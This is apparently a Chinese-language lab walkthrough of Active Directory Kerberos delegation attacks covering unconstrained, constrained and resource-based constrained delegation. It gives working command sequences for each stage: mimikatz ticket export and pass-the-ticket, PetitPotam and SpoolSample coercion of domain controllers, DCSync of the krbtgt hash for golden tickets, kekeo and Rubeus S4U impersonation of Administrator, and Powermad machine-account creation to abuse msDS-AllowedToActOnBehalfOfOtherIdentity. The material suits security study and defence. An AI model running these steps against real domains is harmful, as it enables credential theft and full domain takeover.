Kerberos(4)-非约束&约束&资源约束委派攻击

域渗透之委派攻击详解(非约束委派/约束委派/资源约束委派)

委派(SPN)是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:

  1. 非约束性委派
  2. 约束性委派
  3. 基于资源的约束性委派(RBCD)

非约束性委派

非约束委派:当user访问service1时,如果service1的服务账号开启了unconstrained delegation(非约束委派),则当user访问service1时会将user的TGT发送给service1并保存在内存中以备下次重用,然后service1 就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务)了

非约束委派利用

由于非约束委派得不安全性,现在各种真实环境中基本很难遇到。但是由于域控制器默认是非约束委派,因此非约束委派可以用于跨域攻击。由于需要目标进行回连,除了钓鱼让目标链接目前常用的方法是利用Spooler打印机服务漏洞和efsrpc-PetitPotam漏洞

image-20220322235742047

非约束委派实践

非约束委派主机用户利用

实验设置:

在域控制器中设置用户和计算机用户,选择实验计算机右键属性在委派配置中选择信任此计算机来委派任何服务(Kerberos),确认。

image-20220323012256168

实验操作:

  1. 查找非约束委派计算机用户

首先需要获取到被设置了非约束委派的计算机用户权限。这里是WEB006。

如果在域中寻找攻击路径中的非约束委派计算机用户可以使用一下工具

AdFind.exe,工具地址:https://www.softpedia.com/get/Programming/Other-Programming-Files/AdFind.shtml

1
AdFind.exe -b "DC=dt,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

PowerView,工具地址:https://github.com/PowerShellMafia/PowerSploit/raw/dev/Recon/PowerView.ps1

1
powershell.exe -exec bypass -Command "Import-Module .\powerview.ps1;Get-NetUser -Domain test.com|select name"

ldapsearch,kali自带

1
ldapsearch -x -H ldap://10.10.10.10:389 -D "test@dt.com" -b "DC=test,DC=com" -w testpassword "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))"|grep -iE "distinguishedName"

工具原理都是在ldap中搜索符和条件的服务用户和计算机用户

这里使用AdFind.exe查询,在非域用户情况下执行会提示无效凭据,这是因为ldap需要域用户才能访问。

image-20220323020157447

重新使用域用户查询。

image-20220323021423567

这里直接上线的WEB006机器,所以直接在此机器上进行操作,上面AD和AD2都是域控制器。

如果是真实环境,有正常服务,会在内存中dump出很多其他用户的凭证。但是为了模拟有正常服务有用户访问。这里WEB006中起了winRM服务,所以模拟其他用户(这里使用域管理员用户)来访问。

  1. 其他用户访问非约束委派服务

powershell链接winRM服务

1
Enter-PSSession -ComputerName WEB006

image-20220323023457250

  1. 非约束委派服务计算机导出凭证

使用mimikatz导出凭证(mimikatz导出凭证需要管理员权限)

1
shell mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"

执行后会在当前目录生成当前计算机保存的所有票据。

image-20220323030310950

  1. 注入TGT到当前会话中,如果使用mimikatz导入不太好利用,CS直接提供了相关命令kerberos_ticket_use。
1
shell mimikatz.exe "kerberos::ptt [0;854239]-2-0-60a10000-Administrator@krbtgt-DT.COM.kirbi" exit

CS中

1
kerberos_ticket_use [0;abf109]-2-0-60a10000-Administrator@krbtgt-DT.COM.kirbi

image-20220324014635418

路径是默认从cs目录,所以需要把导出的凭证下载到本地。

然后就可以直接连接到AD。

image-20220324022115369

非约束委派服务用户利用

查找域中配置非约束委派的服务用户:

1
AdFind.exe -b "DC=dt,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20211219220448509

然后跟非约束机器用户利用类似,只是连接的是非约束服务用户所起的对应服务。

非约束委派+Spooler打印机服务/efsrpc-PetitPotam

单纯的非约束委派话需要管理员主动连接,在实战环境利用比较鸡肋。

利用Spooler打印机服务/efsrpc-PetitPotam可以强制指定的主机进行连接。

Spooler打印机服务漏洞原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过KerberosNTLM对攻击者选择的目标进行身份验证。

PetitPotam漏洞原理:用于强制 Windows 主机通过 MS-EFSRPC`` EfsRpcOpenFileRaw 或其他功能向其他计算机进行身份验证

操作

这里直接演示跨域,因为域控制器本身就是满足非约束委派要求

工具准备:

SpoolSample.exe:https://github.com/leechristensen/SpoolSample

PetitPotam.exe:https://github.com/topotam/PetitPotam

PetitPotam:

1
PetitPotam.exe 10.10.10.20 ad.dt.com 1  #这里需要注意使用域名访问利用,ip利用失败。ad.dt.com为主域控制器

image-20220328021434968

image-20220328021541291

利用成功后会返回主域的域管理员票据。但是这里的票据使用mimikatz导出导入不能直接使用但是Rubeus可以直接使用,不知道原因。

但是可以用Rubeus.exe获取到票据。

1
Rubeus.exe  monitor /filteruser:AD$ /interval:5  #这里过滤获取到的是主域机器账号票据,获取不到域管理员的。

image-20220329030000500

使用powershell转成票据供mimikatz使用也可以用Rubeus直接导入使用:

1
2
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String(""))
Rubeus.exe ptt /ticket: doIEvDCCB......

查看票据是主域的krbtgt的票据:

image-20220329031500956

然后导出krbtgt的hash,找到域管理员的sid即可制作黄金票据

1
lsadump::dcsync /domain:dt.com /all /csv

image-20220329032358645

SpoolSample:

1
SpoolSample.exe ad.dt.com test.test.dt.com    #test.test.dt.com子域控制器、ad.dt.com主域控制器

image-20220328022150400

image-20220328022219103

这之后也是一样的情况,按照SpoolSample后续操作。

约束委派

由于非约束委派的不安全性,微软在windows server 2003中引入了约束委派,通过白名单的方式限制受委派的服务可以哪些服务。Kerberos不能直接为用户或者用户组构造特殊的票据来实现委派,于是将kerberos协议进行了拓展,引入了S4U,其中S4U支持两个子协议:Service for User to Self (S4U2Self)Service for User to Proxy (S4U2proxy),这两个扩展都允许服务代表用户从KDC请求票证。S4U2self可以代表自身请求针对其自身的Kerberos服务票据(ST);S4U2proxy可以以用户的名义请求其它服务的ST,约束委派就是限制了S4U2proxy扩展的范围。

约束委派利用

  1. 通过约束委派伪造任意用户访问特定服务。
  2. 如果服务是krbtgt可以构造黄金票据。

约束委派实践

实验设置

设置web006为约束委派机器账号,约束委派服务是web01机器的cifs服务。并且勾选任何身份验证协议。

image-20220330010727356

实验操作:

kekeo:https://github.com/gentilkiwi/kekeo

获取到委派机器用户或者委派服务用户之后,利用kekeo请求该用户TGT

1
2
3
tgt::ask /user:web006$ /domain:dt.com /NTLM:d972224dc9bd7ab2338565a486ce8c29 /ticket:test.kirbi   #机器用户可以mimikatz获取NTLM Hash
tgt::ask /user:web /domain:dt.com /password:password /ticket:test.kirbi #服务用户账号密码
tgt::ask /user:web /domain:dt.com /NTLM:b4f27a13d0f78d5ad83750095ef2d8ec /ticket:test.kirbi #服务用户账号NTLM Hash

image-20220330005056889

获取到委派用户的TGT票据,TGT_web006$@DT.COM_krbtgt~dt.com@DT.COM.kirbi

使用委派用户TGT伪造s4u请求以administrator用户身份请求访问web01的ST

1
tgs::s4u /tgt:TGT_web006$@DT.COM_krbtgt~dt.com@DT.COM.kirbi /user:Administrator@dt.com /service:cifs/web01.dt.com

image-20220330010808186

S4U2Self获取到ST1

S4U2Proxy获取到WEB01的CIFS服务的ST2

然后我们用mimikatz将ST2导入当前会话即可

1
kerberos::ptt TGS_Administrator@dt.com@DT.COM_cifs~WEB01.DT.COM@DT.COM.kirbi

image-20220330011059734

之后可以成功访问到web01的cifs服务。

image-20220330013644460

基于资源约束委派

基于资源约束委派是在约束委派中又增加了一个白名单,委派访问的第三方服务限制委派的机器用户或者服务用户。

基于资源约束委派利用

基于资源约束委派的利用主要是利用可以修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的用户。这个属性就是限制委派的机器用户和服务用户。如果能够修改这个属性,并且能添加机器用户,那么通过S4U2Self协议可以将机器用户伪造成机器管理员账号。

基于资源约束委派实践

实验设置:

目标:web01.dt.com

加入域用户:web2012

实验操作:

  1. 通过用户sid查询此用户加入域内机器
1
2
3
4
whoami /all #查看SID
AdFind.exe -b "DC=dt,DC=com" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=S-1-5-21-957916131-314401718-656287447-1105))" cn sAMAccountType objectCategory #使用AdFind

Get-DomainObjectAcl | ?{$_.SecurityIdentifier -match "S-1-5-21-957916131-314401718-656287447-1105"} | select objectdn,activedirectoryrights | sort -Unique #使用powerview

image-20220330033409768

  1. 添加机器账号

powermad:https://github.com/Kevin-Robertson/Powermad

1
2
3
4
powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module ./Powermad.ps1
New-MachineAccount -MachineAccount ceshi -Password $(ConvertTo-SecureString "cheshi123" -AsPlainText -Force)

image-20220330040138880

1
Get-ADComputer ceshi #获取机器用户sid

image-20220330041536956

  1. 修改msDS-AllowedToActOnBehalfOfOtherIdentity

Windows 2012 以下

1
2
3
4
5
6
7
powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module ./powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-957916131-314401718-656287447-1118)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer web01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

Windows 2012 以上

1
2
Set-ADComputer yukong -PrincipalsAllowedToDelegateToAccount ceshi$
#需要在powershell中import-module ./Microsoft.ActiveDirectory.Management.dll

image-20220331010422685

  1. 伪造票据
1
2
Rubeus.exe hash /user:ceshi /password:cheshi123 /domain:dt.com   
Rubeus.exe s4u /user:ceshi$ /rc4:3DFBCA1BE2D1088D21F9D72D61D578CD /impersonateuser:Administrator /msdsspn:cifs/web01.dt.com /ptt #使用完整的机器域名

image-20220331010249531

image-20220331010857783

  1. 使用票据访问对应的服务

设置c:\test目录必须域管理员或者系统管理才能访问。

image-20220331011335856

1
dir \\web01.dt.com\c$\test  #测试访问成功

image-20220331011438447